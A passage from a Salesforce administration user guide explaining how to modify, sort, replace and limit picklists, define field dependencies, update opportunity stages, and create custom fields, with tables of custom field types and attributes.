or suffix for the number. See Custom Field Attributes on page 445.
Format changes do not affect existing records; they are applied only to new records.
4. Enter the number to be assigned to the next record that is created after you save your changes.
5. Click Save.

422
Customize Modifying Picklists

Caution: Salesforce.com warns you if the next number you enter is not higher than existing numbers. However, it
may be possible to create duplicate numbers if you change the auto-number format multiple times using similar formats
each time.

See Also:
Custom Field Types

Modifying Picklists
Available in: All Editions

User Permissions Needed


To change picklists: “Customize Application”

Customized selection lists, or “picklists,” let users pick values from a predefined list of entries. You can update the entries in
standard and custom picklists; see Updating Picklists on page 423.
To set up multiple lists of picklist values and make them available for different parts of your organization, see Managing Record
Types on page 611.
Using picklists simplifies report filters; instead of manually entering matching values, users can select from a predefined list
of picklist values.

See Also:
Sorting Picklists
Replacing Picklists
Updating Opportunity Stages
Defining Field Dependencies

Updating Picklists
Available in: All Editions

User Permissions Needed


To change picklists: “Customize Application”

To update any standard or custom picklist field:

423
Customize Modifying Picklists

1. Navigate to the fields page for your object. For example, for account fields, click Setup ➤ Customize ➤ Accounts ➤
Fields.
For custom objects, click Setup ➤ Create ➤ Objects, then click the name of an object.
2. Click the name of the picklist you want to update.
3. In the Picklist Values section, click Edit next to a value.
4. In the Picklist Edit page, you can change the name of the value and make the value the default for the master picklist. You
can also assign a color for use in charts by clicking the button. To assign a color dynamically when a chart is generated,
click Assign color dynamically.
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
and Opportunity Competitor picklists.

Tip:

• Some special picklists, such as Task Priority or Partner Role, have additional information that you can
edit.
• If you use record types, changing the default value of the master picklist does not affect the default value of the
picklist for a record type.
• For Salesforce CRM Ideas, setting the default value of the Categories or Status picklists does not affect the
default value on the Salesforce CRM Ideas pages.
• If you change the label for a picklist value that is used as a filter criteria on a report, the picklist value is
automatically removed from the filter criteria. For example, if your report contains a filter where Lead Source
equals Email or Web and you change the picklist value Web to Referral, your report filter will change
to Lead Source equals Email. If the changed picklist value was the only value specified for a particular
filter, it will continue to show up in your report filters, but an error will display on the report wizard.

5. Click Save.

Note: If your organization uses the translation workbench, notify your translators that the translations may be out of
date whenever you change picklist values.

See Also:
Modifying Picklists
Picklists with Additional Information
Picklist Limitations
Additional Options for Updating Picklists
Updating Opportunity Stages

Additional Options for Updating Picklists


Use the following options to edit picklist values.

• Click Edit next to a value to change the name, make it the default picklist value, assign a color to use on charts, or change
additional information.
• Click Del next to a value to remove it from the picklist.

424
Customize Modifying Picklists

Special picklists—such as opportunity Stage, Task Priority, Task Status, Lead Status, and Case Status—may
prompt you to map the deleted value to another existing value in all of your organization’s records. You can map the values
or leave your existing data unchanged.
• Click New to add values to the picklist. If you use record types, select any record types that you want to include the new
values.
Note: In a managed package, if the developer adds new picklist values, they are added to the subscriber's organization
on install and upgrade.

• Click Reorder to change the sequence of picklist values.


• Click Replace to change the values of picklist fields in existing records.
• Click Printable View to open an easy-to-print list of your picklist values.
• Click Chart Colors and select an option to assign colors to picklist values for use in charts:

- Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart
Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example,
if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that
picklist value.
- Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows
“Assigned dynamically” for all colors. Assign fixed colors by editing picklist values. For example, if you only need certain
picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest as “Assigned
dynamically.”

Manual assignments are overridden each time you click an option in Chart Colors.
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
and Opportunity Competitor picklists.

For organizations using record types, this picklist is a master picklist. You can include some or all of the values from the master
picklist in different record types to offer a subset of values to users based on their profile. For instructions on sharing master
picklist values across record types, see Managing Record Types on page 611.

See Also:
Custom Field Attributes
Modifying Picklists
Updating Picklists
Updating Opportunity Stages

Picklists with Additional Information


Some standard picklist fields have additional information that you can edit. Below is a description of those fields:

425
Customize Modifying Picklists

Picklist Description
Partner Role (for accounts) Roles of account partners, for example, Consultant, Supplier.
These options are available when you add an account to the
Partners related list of an account or opportunity.
To edit, click Setup ➤ Customize ➤ Accounts ➤ Partner
Roles.
Enter the name of the partner role in the “Role” column. In
the “Reverse Role” column, enter the corresponding reverse
partner role. Assigning a partner role to an account creates a
reverse partner relationship so that both accounts list the other
as a partner.
Each role and reverse role value can have up to 40 characters.

Priority (for cases) Urgency of case, for example, Low, High.


If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
cases.
Each picklist value can have up to 40 characters.

Status (for campaign members) State of a campaign member, for example, Sent or Responded.
If you delete a Status value, you have the option to map the
deleted value to another existing value. The new replacement
value is automatically added to the member status for
campaigns that contained the deleted value.
If the deleted value is the default member status for a
campaign, the new replacement value becomes the default
status for that campaign. Similarly, if the deleted value is
specified as a responded status for a campaign, the replacement
value becomes the responded status for that campaign.

Status (for cases) State of case, for example, New, On Hold.


If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
cases.
Each picklist value can have up to 40 characters.

Status (for contracts) State of the contract in the contract business process. You can
add values to this picklist and organize each value into one of
several categories, for example, “Draft,” “In Approval Process,”
or “Activated.” Then sort your contracts using these categories
in reports and views.

426
Customize Modifying Picklists

Picklist Description
Contact Role (for contracts) Role of a contact on a contract, for example, Business User,
Decision Maker. These options are available when you add a
contact to the Contact Roles related list of a contract.
To edit, click Setup ➤ Customize ➤ Contracts ➤ Contact
Roles.
Each picklist value can have up to 40 characters.

Lead Status (for leads) State of the lead, for example, Open, Qualified.
Select one value as the “Default Status” assigned to all new
leads created manually, via the import wizard, or via your
website. Select one or more values as the “Converted Status”
assigned to converted leads. When you convert qualified leads
into an account, contact, and opportunity, you can select one
of the “Converted” statuses to assign to the lead. Leads with
a “Converted” status type are no longer available in the Leads
tab, although you can include them in reports.
If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
leads.
Each value can have up to 20 characters.

Contact Role (for opportunities) Role of a contact for an opportunity, for example, Business
User, Decision Maker. These options are available when you
add a contact to the Contact Roles related list of an
opportunity.
To edit, click Setup ➤ Customize ➤ Opportunities ➤
Contact Roles.
Each picklist value can have up to 40 characters.

Stage (for opportunities) Sales process stages, for example, Prospect, Proposal.
To edit, click Setup ➤ Customize ➤ Opportunities ➤
Fields, and select Edit next to the field.
For more information, seeUpdating Opportunity Stages on
page 438.

Status (for solutions) Status of a solution, for example, Draft, Reviewed. Mark one
or more values as “Reviewed.” When users solve cases using
solutions, they can view which solutions have been reviewed
and which have not. Each picklist value can have up to 40
characters.

427
Customize Modifying Picklists

Picklist Description
Priority (for tasks) Importance of the task, for example, High, Normal, Low. Set
one value as the default priority of all new tasks, and one value
as the highest priority.
If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
tasks.
Each picklist value can have up to 20 characters.

Status (for tasks) State of a task, for example, Not Started, Completed. Choose
at least one value as the “Closed” status and one value as the
“Default” status for all new tasks.
If you delete a value, you have the option to map the deleted
value to another existing value in all of your organization’s
tasks.
Each picklist value can have up to 40 characters.

See Also:
Modifying Picklists
Picklist Limitations

Picklist Limitations
Available in: All Editions

User Permissions Needed


To change picklists: “Customize Application”

The maximum number of entries you can have in a standard or custom picklist is determined by the total number of characters
allowed in the picklist, which is 15,000 characters. Note that each entry includes a linebreak and a return character that are
not visible. These two additional characters per entry are counted as part of the 15,000 character limit.
Additional limits apply to both standard and custom picklists.

Additional Limits for Standard Picklists


For standard picklists, each entry cannot exceed 40 characters; this limit does not include the linebreak and return character.
For standard multi-select picklists, the total number of characters for all entries cannot exceed 255.
For standard picklists in organizations that use record types or the translation workbench, you can have an unlimited number
of entries with the following exceptions for special picklists:

428
Customize Defining Field Dependencies

Picklist Field Maximum Number of Entries


Lead Status 100
Task Status 100
Task Priority 50
Case Status 100
Case Priority 50
Opportunity Stage 100

Additional Limits for Custom Picklists


Within the 15,000 total character limit, custom picklists can have:
• Up to 1000 entries
• Up to 255 characters per entry
Custom multi-select picklists can have:
• Up to 150 values
• Up to 40 characters per value
Note that for multi-select picklists, users can select up to 100 values at a time on a record.

See Also:
Modifying Picklists

Defining Field Dependencies


Available in: All Editions

User Permissions Needed


To define field dependencies: “Customize Application”

Field dependencies allow you to control the available values in a custom picklist or multi-select picklist field. Before you begin
defining your field dependencies, create the fields you want to include in your field dependencies and review the basic concepts
in About Dependent Fields on page 430 and dependent field limitations in Dependent Field Considerations on page 434.
To define field dependencies:

1. Navigate to the fields area of the appropriate object:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

429
Customize Defining Field Dependencies

• For custom settings, click Setup ➤ Develop ➤ Custom Settings, and click the name of the custom setting.

2. Click Field Dependencies.


3. Click New.
4. Choose a controlling field and dependent field. For definitions of these fields, see About Dependent Fields on page 430.
Note: Some picklist and checkbox fields may not be available as controlling fields. For a complete list of these
fields, see Dependent Field Considerations on page 434.

5. Click Continue.
6. Each value in the controlling field is listed in the top row and each value in the dependent field displays in the column
below it. For instructions on including or excluding values from the dependent field based on values in the controlling
field, see Using the Field Dependency Matrix on page 432.
7. Optionally, click Preview to test your selections. If your organization uses record types, choose a record type to test how
it affects your controlling and dependent field values. The record type controls what values are available in the controlling
field. The record type and the controlling field together determine what values are available in the dependent field. For
example, a dependent value is only available if it is available in the selected record type as well as the selected controlling
value.
Note: The Filter by Record Type option does not appear in the Preview window for activity custom fields.

8. Click Save.
9. If your organization uses record types, make sure that your controlling and dependent field values are available in the
appropriate record types. For instructions on using record types, see Managing Record Types on page 611.

See Also:
Dependent Field Considerations
Editing Field Dependencies
Deleting Field Dependencies

About Dependent Fields


Available in: All Editions

Dependent fields can help make your data more accurate and consistent by applying filters to your fields. A dependent field
works in conjunction with a controlling field to filter its values. The value chosen in the controlling field affects the values
available in the dependent field.
For example, you can use dependent fields to help categorize your closed won and lost opportunities. In this example, the
opportunity Stage field is a controlling field that makes appropriate values available in the correlating dependent field,
Reason. Here, Reason is a custom field on opportunities.

430
Customize Defining Field Dependencies

Stage Reason
Closed Won Lower price/TCO
Superior features
ROI/value justification

Closed Lost Higher price/TCO


Inferior features
No decision
Won't change current system
ROI/value justification
Company viability

Users who choose “Closed Won” from the Stage field can choose from the applicable values instead of all values in the
Reason field. When users choose any open stage value, no values are available in the Reason field.

To get started using field dependencies, review these basic concepts:


Dependent field
Any custom picklist or multi-select picklist field that displays available values based on the value selected in its
corresponding controlling field.

Controlling field
Any standard or custom picklist (with at least one and less than 300 values) or checkbox field whose values control the
available values in one or more corresponding dependent fields.

For instructions on how to create field dependencies, see Defining Field Dependencies on page 429.

See Also:
Defining Field Dependencies
Dependent Field Considerations

431
Customize Defining Field Dependencies

Using the Field Dependency Matrix


Available in: All Editions

User Permissions Needed


To define field dependencies: “Customize Application”

The field dependency matrix displays all the values in a controlling field and dependent field. Use this matrix to include or
exclude values. Included values are available in the dependent field when a value in the controlling field is selected. Excluded
fields are not available in the dependent field for the selected controlling field value.
To include or exclude values:

• Double-click values to include them. Included values are indicated with highlighting. Double-click any highlighted values
to exclude them.
• Click a value and use SHIFT+click on another value to select a range of adjacent values. Then click Include Values to
make the values available, or Exclude Values to remove them from the list of available values.
• Click a value and use CTRL+click to select multiple values. Then click Include Values to make the values available, or
Exclude Values to remove them from the list of available values.
• Click a column header to select all the values in that column. Then click Include Values to make the values available, or
Exclude Values to remove them from the list of available values.

To change the values in your view:

• Click View All to view all available values at once.


• Click Go To and choose a controlling value to view all the dependent values in that column.
• Click Previous or Next to view the values in columns that are on the previous or next page.
• Click View sets of 5 to view 5 columns at a time.

Editing Field Dependencies


Available in: All Editions

User Permissions Needed


To edit field dependencies: “Customize Application”

Field dependencies allow you to control the available values in a custom picklist or multi-select picklist field. Review basic
concepts for field dependencies in About Dependent Fields on page 430.
To edit field dependencies:

1. Navigate to the fields area of the appropriate object:

432
Customize Defining Field Dependencies

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
• For custom settings, click Setup ➤ Develop ➤ Custom Settings, and click the name of the custom setting.

2. Click Field Dependencies.


3. Click Edit next to the field dependency relationship you want to change.
4. Each value in the controlling field is listed in the top row and each value in the dependent field displays in the column
below it. For instructions on including or excluding values, see Using the Field Dependency Matrix on page 432.
5. Optionally, click Preview to test your selections.
6. Click Save.

See Also:
About Dependent Fields

Deleting Field Dependencies


Available in: All Editions

User Permissions Needed


To delete field dependencies: “Customize Application”

Deleting a field dependency removes the logic defining how they function together. It does not delete the fields or affect their
data.
To delete field dependencies:

1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. Click Field Dependencies.
4. Click Del next to the field dependency relationship you want to delete.
5. Click OK to confirm.

See Also:
About Dependent Fields

433
Customize Defining Field Dependencies

Dependent Field Considerations


Available in: All Editions

User Permissions Needed


To define and edit field dependencies: “Customize Application”

Consider the following when defining and editing dependent fields:


Checkboxes
Checkbox fields can be controlling fields but not dependent fields.

Converting fields
Convert your existing fields to dependent or controlling fields without affecting the existing values in your records. Going
forward, dependency rules apply to any changes to existing records or new records.

Default values
You can set default values for controlling fields but not for dependent fields.

Field-level security
Field-level security settings for a controlling field and dependent field are completely independent. Remember to hide
controlling fields whenever its correlating dependent field is hidden.

Import
The import wizards do not consider field dependencies. Any value can be imported into a dependent field regardless of
the value imported for a controlling field.

Lead conversion
If you create a dependency for lead fields that map to account, contact, and opportunity fields for lead conversion, create
the same dependency on the account, contact, or opportunity as well.
Dependent and controlling lead fields can be mapped to account, contact, or opportunity fields with different dependency
rules.

Multi-select picklists
Multi-select picklists can be dependent fields but not controlling fields.

Connect Offline
While controlling and dependent fields are available in Connect Offline, the logic between them is not.

Page layouts
Make sure controlling fields exist on any page layout that contains their associated dependent field. When the controlling
field is not on the same page layout, the dependent field shows no available values.
For visually-impaired users, make sure the dependent field is lower on the page layout than its controlling field.

434
Customize Defining Field Dependencies

If a dependent field is required and no values are available for it based on the controlling field value, users can save the
record without entering a value. The record is saved with no value for that field.

Picklist limitations
Custom picklist fields can be either controlling or dependent fields.
Standard picklist fields can be controlling fields but not dependent fields.
The maximum number of values allowed in a controlling field is 300. In addition, if a field represents both a controlling
field and dependent field, it cannot contain more than 300 values.
Before defining a dependency, make sure your picklist has at least one value; standard fields like Product Family do
not contain any values until you add them.
If a standard controlling field relies on functionality that your organization decides to disable, the dependency rules for
the field will go away. For example, if your organization disables the Self-Service portal and the Closed by
Self-Service User is a controlling field, its dependent field will display all available values.

The following fields are not available as controlling fields:


Activity Fields
Call Type

Create recurring series of events

Show Time As

Subject

Task

Type

Contact Fields
Salutation

Contact Currency

Custom Object Fields


Currency

Lead Fields
Converted

Unread By Owner

Record types
The values in your controlling fields are determined by the record type selected. The values in your dependent fields are
determined by the record type and controlling field value selected. In short, the values available in dependent fields are
an intersection of the record type and controlling field selections. For more information on record types, see Managing
Record Types on page 611.

See Also:
About Dependent Fields

435
Customize Sorting Picklists

Sorting Picklists
Available in: All Editions

User Permissions Needed


To sort picklists: “Customize Application”

You can sort the values of custom or standard picklist and multi-select picklist fields.

1. Navigate to the fields area of the appropriate object:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For standard task and event fields, click Setup ➤ Customize ➤ Activities, then click Task Fields or Event Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

2. Click Edit next to the picklist you want to update.


3. Click Reorder.
4. Use the arrows to arrange the field in the proper sequence.
5. Select a default, if desired.
6. Check the box to alphabetize the entries for users on edit pages. The entries will always appear in alphabetical order,
regardless of the user’s language.
7. Click Save.

Note: On record edit and detail pages and in reports, picklist and multi-select picklist fields may include inactive
values. These inactive values are sorted last, unless you have chosen alphabetical sorting. In that case, all values are
sorted alphabetically.

See Also:
Modifying Picklists

436
Customize Replacing Picklists

Replacing Picklists
Available in: All Editions

User Permissions Needed


To replace picklist values: “Customize Application”

You can globally replace the values of custom or standard picklist fields in existing records.

1. Navigate to the fields area of the appropriate object:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For standard task and event fields, click Setup ➤ Customize ➤ Activities, then click Task Fields or Event Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

2. Make sure the replacement value already exists in the picklist values.
3. Click Replace next to the picklist.
4. Type the exact value you want to change, and select a new replacement value.
5. Check Replace all blank values to apply the new value on any records that do not have a value in this field.
6. Click Replace to update all occurrences of the value with the new value in your organization’s records including those in
the Recycle Bin.

Note: If you replace the Stage picklist for opportunities, the Probability, Forecast Category, and Expected
Revenue fields will also be updated with the corresponding values.

See Also:
Modifying Picklists
Updating Opportunity Stages

437
Customize Updating Opportunity Stages

Updating Opportunity Stages


Available in: All Editions

User Permissions Needed


To change opportunity stage values: “Customize Application”

The opportunity Stage picklist contains values for different sales stages. It also affects the Probability and Forecast
Category values of an opportunity. As users change the stage of an opportunity, the Probability and Forecast Category
fields are automatically changed to the values you specify during setup.
To update opportunity stages, click Setup ➤ Customize ➤ Opportunities ➤ Fields, and select Edit next to the Stage field.

• To create a stage, click New. To edit a stage, click Edit next to the stage. Enter the stage name, probability of closing,
type, forecast category, and description. You can also assign a color for use in charts by clicking the button. To assign
a color dynamically when a chart is generated, click Assign color dynamically.
The forecast category automatically determines how opportunities are tracked in a forecast. Note that the type and forecast
category values affect each other.
• To deactivate a stage and move it to the inactive list, click Del next to an active stage. On the mapping page, do not map
the stage to another existing value; simply click Save.
Inactive stages are stages that are no longer in use but may exist in older opportunity records.
• To delete a stage completely, click Del next to an active or inactive stage. Map the deleted value to another active stage.
If you do not map the deleted value, the stage is moved to the list of inactive stages.
• Click Reorder to change the sequence of picklist values.
• Click Replace to change the values of picklist fields in existing records.
• Click Printable View to open an easy-to-print list of your picklist values.
• Click Chart Colors and select an option to assign colors to picklist values for use in charts:

- Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart
Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example,
if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that
picklist value.
- Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows
“Assigned dynamically” for all colors. Assign fixed colors by editing picklist values. For example, if you only need certain
picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest as “Assigned
dynamically.”

Manual assignments are overridden each time you click an option in Chart Colors.
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
and Opportunity Competitor picklists.

438
Customize Creating Custom Fields

Note: You can create up to 100 different stages with a maximum of 40 characters for each stage value. This 100 stage
limitation does not apply to organizations that use record types.
In an opportunity report, if you sort the data in ascending order by Stage, opportunities with historical stages appear
at the bottom.
Make sure to use the stage types of “Closed/Won” and “Closed/Lost” only for stages that are used on closed
opportunities. When you set an open opportunity's stage to a status with a type “Closed/Won,” the opportunity Close
Date is set to today's date. This change can lead to unexpected values for the opportunity Age field in reports. For
more information, see Opportunity, Forecast, and Sales Reports on page 1870.

See Also:
Modifying Picklists

Creating Custom Fields


Available in: All Editions

User Permissions Needed


To create or change custom fields: “Customize Application”

To tailor Salesforce.com for your organization, you can add custom fields for each of the tabs and objects that your organization
uses. For the total number of custom fields you can create, see Salesforce.com Editions and Limits on page 1007.
See the following for more information:

• Adding Fields and Relationships


• Editing Fields
• Viewing Fields
• Deleting Fields
• Building Formulas
• Defining Field Dependencies
• Defining Default Field Values
• Additional Custom Field Options
• Custom Field Attributes
• Changing Custom Field Type

439
Customize Creating Custom Fields

Adding Fields and Relationships


Available in: Personal, Professional, Enterprise, Unlimited, and Developer Editions
Relationship fields are not available in Personal Edition
Custom settings are not available in Personal or Professional Editions

User Permissions Needed


To create or change custom fields: “Customize Application”

Create custom fields to store the information that is important to your organization. Before you begin, determine the type of
custom field you want to create. You can create many different custom field types, including lookup, master-detail, and
hierarchical relationships.
To add a custom field:

1. Navigate to the fields area of the appropriate object:

• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom task and event fields, click Setup ➤ Customize ➤ Activities ➤ Activity Custom Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
• For custom settings, click Setup ➤ Develop ➤ Custom Settings, and click the name of the custom setting.

2. Click New in the Custom Fields & Relationships section of the page.
For information on other attributes you can set from this section, see the following:

• To set field dependencies, see Defining Field Dependencies on page 429.


• To set field history tracking on custom objects, see Tracking Field History on page 457.

3. Choose the type of field to create, and click Next. For a description of these types, see Custom Field Types on page 442.
Note:

• Some data types are only available for certain configurations. For example, the Master-Detail Relationship
option is available only for custom objects when the custom object does not already have a master-detail
relationship. Also, custom settings only allow a subset of the available data types.
• Relationship fields count towards custom field limits.
• Field types not listed in Custom Field Types may appear if your organization installed a package from the
AppExchange that uses those custom field types.
• The Roll-Up Summary option is only available on certain objects. For a list of these objects, see About
Roll-Up Summary Fields on page 544.
• Field types correspond to API data types. For more information, see “API Data Types and API Field Types”
in the Force.com Web Services API Developer's Guide.

4. For relationship fields, choose the object that you want to associate with it. For more information about relationships, see
Overview of Relationships on page 771.

440
Customize Creating Custom Fields

5. Enter a field label.


The field name is automatically populated based on the field label you enter. This name can contain only underscores and
alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end
with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links,
custom s-controls, and when referencing the field from the API. For more information, see Guidelines for Using Merge
Fields on page 100.
Tip: Ensure the custom field name is not identical to any standard field name for that object. If a custom field
and standard field have the same name and you reference that name in a merge field, the merge field displays the
value of the custom field.

6. Enter any field attributes, and click Next to continue.


For information on the attributes you can set, see Custom Field Attributes on page 445.

• To build a formula, see Building Formulas on page 498.


• To define a default value, see Defining Default Field Values on page 504.
• To define a roll-up summary, see Defining Roll-Up Summaries on page 546.

7. In Enterprise, Unlimited, and Developer Editions, set the field-level security to determine whether the field should be
visible or read only for specific profiles, and click Next.
Note: Profiles with “View Encrypted Data” permission are indicated with an asterisk.

8. Choose the page layouts that should display the field as an editable field.
The field is added as the last field in the first two-column section on the page layout. For long text area fields, the field is
added to the end of the first one-column section on the page layout. For user custom fields, the field is automatically added
to the bottom of the user detail page. For universally required fields, you cannot remove the field from page layouts or
make it read only.
9. For relationship fields, choose whether to create a related list that displays information about the associated records. You
can choose to put the related list on any page layouts for that object.
To change the label of the custom related list as it will appear on the page layouts of the associated object, edit the Related
List Label.

To add the new related list to page layouts that users have already customized, check Append related list to
users’ existing personal customizations.
10. Click Save to finish or Save & New to create more custom fields.

441
Customize Creating Custom Fields

Note: Creating fields may require changing a large number of records at once. To process these changes efficiently,
Salesforce.com may queue your request and send an email notification when the process has completed.

See Also:
Custom Field Attributes
Notes on Changing Custom Field Types
Additional Custom Field Options
Additional Options for Updating Picklists
Universally Required Field Considerations
Defining Roll-Up Summaries
Managing Deleted Custom Fields
Custom Settings Overview

Custom Field Types


The first step in creating a custom field is choosing the type of the field. Below is a description of each custom field type. Field
types not listed in Custom Field Types may appear if your organization installed a package from the AppExchange that uses
those custom field types.

Type Description
Auto Number Automatically assigns a unique sequential number to each
record. The maximum length of any auto-number field is 30
characters, 20 of which are reserved for prefix or suffix text.
Checkbox Allows users to check a box, indicating a true or false attribute
of a record. When using a checkbox field for a report or list
view filter, use “True” for checked values and “False” for
unchecked values. The import wizards and the weekly export
tool use “1” for checked values and “0” for unchecked values.
Currency Allows users to enter a currency amount. The system
automatically formats the field as a currency amount. This can
be useful if you export data to Excel or another spreadsheet.
Date Allows users to enter a date or pick a date from a popup
calendar. In reports, you can limit the data by specific dates
using any custom date field.
Date/Time Allows users to enter a date or pick a date from a popup
calendar and enter a time of day. They can also add the current
date and time by clicking the date and time link next to the
field. The time of day includes AM or PM notation. In
reports, you can limit the data by specific dates and times using
any custom date field.

442
Customize Creating Custom Fields

Type Description
Email Allows users to enter an email address. Salesforce.com validates
the value to ensure that it is in the proper format. Users can
then click on the field to launch their email program and send
an email to that address. The email is not logged as an activity
in the Activity History related list. This address cannot be
used when sending a mass email.
Formula Allows users to automatically calculate values based on other
values or fields such as merge fields. See Building Formulas
on page 497 and Operators and Functions on page 548.
Hierarchical Relationship Creates a hierarchical lookup relationship between users.
Allows users to use a lookup field to associate one user with
another that does not directly or indirectly refer to itself. For
example, you can create a custom hierarchical relationship
field to store each user's direct manager.
Lookup Relationship Creates a relationship between two records so you can associate
them with each other. For example, opportunities have a
lookup relationship with cases that lets you associate a
particular case with an opportunity. A lookup relationship
creates a field that allows users to click a lookup icon and select
another record from a popup window. On the associated
record, you can then display a related list to show all of the
records that are linked to it. You can create lookup relationship
fields that link to users, standard objects, or custom objects.
A lookup relationship has no effect on record deletion or
security, and the lookup field is not required in the page layout.
If a lookup field references a record that is deleted,
Salesforce.com sets the lookup field to null, and does not run
any Apex triggers, validation rules, workflow rules, or roll-up
summary fields. For more information on relationships, see
Overview of Relationships on page 771.
Lookup relationship fields are not available in Personal
Edition.
Lookup relationship fields to campaign members are not
available; however, lookup relationship fields from campaign
members to other objects are available.

Master-Detail Relationship Creates a relationship between records where the master record
controls certain behaviors of the detail record such as record
deletion and security. For more information on relationships,
see Overview of Relationships on page 771.
Available for custom objects only, although you can create a
master-detail relationship field on a custom object that links
to a standard object.

443
Customize Creating Custom Fields

Type Description
Master-detail relationships cannot be used with campaign
members.

Number Allows users to enter any number. This is treated as a real


number and any leading zeros are removed.
Percent Allows users to enter a percentage number, for example, '10'.
The system automatically adds the percent sign to the number.
Phone Allows users to enter any phone number. Salesforce.com
automatically formats it as a phone number. See Entering
Phone Numbers on page 38.
If you are using Salesforce CRM Call Center, custom phone
fields are displayed with the button, allowing click-to-dial
functionality. Consequently, salesforce.com recommends that
you do not use a custom phone field for fax numbers.

Picklist Allows users to select a value from a list you define.


Picklist (Multi-select) Allows users to select more than one picklist value from a list
you define. These fields display each value separated by a
semicolon.
Roll-Up Summary Automatically displays the record count of related records or
calculates the sum, minimum, or maximum value of related
records. The records must be directly related to the selected
record and on the detail side of a custom master-detail
relationship with the object that contains the roll-up summary
field. For example, a custom account field called “Total
Number of Guests” displays the number of guest custom object
records in the Guests related list for accounts.
Text Allows users to enter any combination of letters, numbers, or
symbols. You can set a maximum length, up to 255 characters.
Text (Encrypted) Allows users to enter any combination of letters, numbers, or
symbols that are stored in encrypted form. You can set a
maximum length of up to 191 characters. To enable encrypted
fields for your organization, contact salesforce.com.
Text Area Allows users to enter up to 255 characters that display on
separate lines similar to a Description field.
Text Area (Long) Allows users to enter up to 32,000 characters that display on
separate lines similar to a Description field. You can set
the length of this field type to a lower limit, if desired. Any
length from 256 to 32,000 characters is allowed. Note that
every time you press Enter within a long text area field, a
linebreak and a return character are added to the text. These
two characters count toward the 32,000 character limit. This

444
Customize Creating Custom Fields

Type Description
data type is not available for activities or products on
opportunities.
URL Allows users to enter up to 255 characters of any valid website
address. When users click on the field, the URL will open in
a separate browser window. Note that only the first 50
characters are displayed on the record detail pages.

See Also:
Changing Custom Field Type
Notes on Changing Custom Field Types
About Roll-Up Summary Fields

Custom Field Attributes


Here is a description of the attributes (in alphabetical order) that make up a custom field entry:

Field Description
# Visible Lines For long text area fields, set the number of lines to be displayed on edit
pages. You can display between 2 and 50 lines (the default is 6 lines). If the
text does not fit in the specified number of visible lines, scroll bars will
appear. Long text area fields are displayed in their entirety on detail pages
and printable views.
Calculation Options Option that determines how a roll-up summary field is recalculated after
its properties change. Choose Automatic calculation to recalculate
a field the next time it is displayed. Choose Force a mass
recalculation of this field as a safety net option to force
recalculation of the roll-up summary field values.
Child Relationship Name The name used in API SOQL relationship queries.
Data Type The data type of a field determines what type of information is in the field.
For example, an field with the Number data type contains a positive or
negative integer. For more information on data types, see Custom Field
Types on page 442.
Decimal Places For number, currency, and percent fields, the number of digits you can enter
to the right of a decimal point, for example, 4.98 for an entry of 2. Note
that the system rounds the decimal numbers you enter, if necessary. For
example, if you enter 4.986 in a field with Decimal Places of 2, the
number rounds to 4.99.
Default Value The value to apply when a user creates a new record. For checkbox custom
fields, choose Checked or Unchecked as the default value to indicate the

445
Customize Creating Custom Fields

Field Description
default when creating new records. Default values should not be assigned
to fields that are both required and unique, as uniqueness errors may result.
See About Default Field Values on page 505.
Description Text that describes the custom field. This description is for administration
purposes only and does not display to users on record detail and edit pages
that include the field.
Display Format For auto-number fields, enter a Display Format to control such formatting
details as the minimum number of leading zeros as well as any prefix or
suffix for the number.
Begin by entering the required minimum: {0}. This is a placeholder for the
auto-number without any leading zeros. Add any prefix to your number
before this placeholder and insert any suffix text after the placeholder. Insert
any date prefixes or suffixes in the form of {YY}, {YYYY}, {MM}, or {DD},
which always represent the create date of the record.
For information on using auto-number formats when entering your
Display Format, see Auto-Number Formatting Examples on page 449.

External ID For each object that can have custom fields, you can set up to three custom
text, number, or email fields as external IDs. An external ID field contains
unique record identifiers from a system outside of Salesforce.com. You can
use the Sidebar Search to find external ID values, and you can use the field
in the Force.com API. When using the import wizards for custom objects
and solutions, you can use this field to prevent duplicates.
Note: Custom fields marked as Unique count against an object's
limit of three External ID fields.

Filter Criteria The criteria used to select a group of records to calculate the value of a
roll-up summary field.
Formulas Enter the formula for the custom formula field or custom summary formula
